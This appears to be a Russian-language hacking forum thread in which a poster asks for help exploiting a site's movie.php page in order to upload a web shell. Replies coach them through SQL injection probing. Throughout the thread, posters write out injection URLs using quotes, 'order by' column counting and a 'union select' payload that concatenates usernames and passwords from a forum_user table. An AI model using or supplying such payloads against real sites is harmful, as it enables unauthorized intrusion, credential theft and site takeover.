Пишу: http://site/movie.php?page=shop Выдаёт: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /varl/www/movie.php on line 198 Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /varl/www/movie.php on line 199 Задача: Залить шелл. что можно сделать!? Вроде столбцы подбирать,но у меня ошибка не меняеться. Бред ! Поможете? Помощи негде просить,ну есть где но только там не хочу,у вас лучше,поэтому прошу помоч
ну пишет же : предоставленый аргумент не является валидным результатом MySQL то бишь ссылка не разультат передаемая функции mysql_num_rows - плохая. скорее всего там просто была ошибка в скул запросе и на ошибки перед продолжением не было проверено. отсюда такие фантики.
Пишу http://site/movie.php?=null+order+by+100/* ошибки нету вообще,что это значит? Столбцов меньше? Вечерком скачаю,заюзаю По описанию вкатила прога! Да да да я эти фантики слышал,вы им всегда новичкам даёте? =) MySQL у них косячный или мозг,поэтому ошибочка навернО...
Ошибка простая, инъекция возможна, но где-то 50/50 а вообще тема есть отдельная: /thread36161.html Врядли там инъекция или же там больше 100 столбцов, попробуй 99999, если не выдаст ошибку, забудь
нде... хенкеры, тебе как я пнонимаю после http://site/movie.php?page=shop надо для правильности кавычку ставить... а дальше уже пробовать скуль запрос, т.е. union select, дополнять order by, или пользовать подзапросы, желательно для этого всего, чтоб magic quotes была выключена, хотя хз скрипты разные бывают...
http://site/movie.php?=null+order+by+99999/* - нихрена http://site/movie.php?=null+order+by+100/* - НИХРЕНА =((( Только при http://site/movie.php?page=shop - ошибка ну которую я выше описывал. Пишу http://site/movie.php?id=6547215' - ТОЖЕ ошибка таже самая... Кстати кора,я для прикола написал http://site/movie.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15%20,16,17,18,19,20,concat(username,0x3a,password)+fro%20m+forum_user/* - таже ошибка...
http://site/movie.php?page=shop'+union+select+1,2,3,4,5,6,7,8,9,etc..... Кавычку попробуй просто поставь. Или дай линк в студию.